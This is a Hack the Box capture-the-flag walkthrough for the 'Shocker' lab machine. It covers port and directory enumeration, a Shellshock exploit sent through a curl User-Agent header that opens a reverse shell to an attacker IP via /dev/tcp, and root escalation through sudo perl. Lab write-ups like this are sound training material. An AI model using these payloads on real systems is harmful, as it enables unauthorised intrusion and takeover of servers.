Hack the Box - Shocker - Walkthrough

Introduction

Today we're going to be doing a pentest walkthrough of the Shocker machine hosted at https://hackthebox.eu. For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Shocker machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.1.175.

Scanning and Enumeration

We'll start by scanning for open ports with Nmap:

sudo nmap -T4 -p- 10.129.1.175

Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:

sudo nmap -T4 -p80,2222 10.129.1.175

There's an Apache webserver on port 80, so let's enumerate web directories with Gobuster:

gobuster dir -u http://10.129.1.175/ -w /usr/share/wordlists/dirb/big.txt -x php,txt,html -r -s 200,204,301,302,307,403

An easy win on Linux systems is the Shellshock vulnerability, which requires access to the web server's /cgi-bin directory. Here, the /cgi-bin/ directory came back with a 403 error, which indicates that the directory exists, but we can't access it directly. Let's see if we can find any scripts inside that directory. We'll use Gobuster again:

gobuster dir -u http://10.129.1.175/cgi-bin/ -w /usr/share/wordlists/dirb/big.txt -x php,sh -r -s 200,204,301,302,307,403

Finding a Way In

We've found a valid script file on the target's webserver, which means we can test it for the Shellshock vulnerability. We'll use cURL to send a Shellshock test request:

curl -H 'User-Agent: () { :; }; echo ; echo ; echo VULNERABLE' bash -s :'' http://10.129.1.175/cgi-bin/user.sh

Since VULNERABLE was included in the output, that's a good indication that this target is vulnerable to Shellshock. That means we can use the Shellshock exploit to get a foothold on the target by opening a reverse shell to our attacking system. But first we need to start a Netcat listener on our attacking machine.

sudo nc -nlvp 443

And now to open the reverse shell via cURL:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.99.99/443 0>&1' http://10.129.1.175/cgi-bin/user.sh
whoami

<snipped>

Capturing the User Flag

Before moving on, we'll take this opportunity to collect the User flag. On Hack the Box Linux machines, it's usually located in a user's /home directory.

cat /home/shelly/user.txt

Privilege Escalation

We're logged in as the shelly user, who appears to be an admin on the system. Let's check what their sudo privileges are:

sudo -l

If we have sudo privilges with perl, we can use it to open a shell with root access by supplying the following command:

sudo perl -e 'exec "/bin/sh";'
whoami

Capturing the Root Flag

The last thing to do is collect the Root flag. On Hack the Box Linux systems this is usually located in the /root directory:

cat /root/root.txt

Summary

After initial scans, we found that the target's webserver had a script file accessible in the /cgi-bin directory. Suspecting that the target was vulnerable to the Shellshock exploit, We tested the system and were able to gain a foothold on the system through that exploit. Once inside, we found that the user we were logged in as had elevated privileges when using the perl program, which we utilized to gain root access and collect the objective flag.

Finish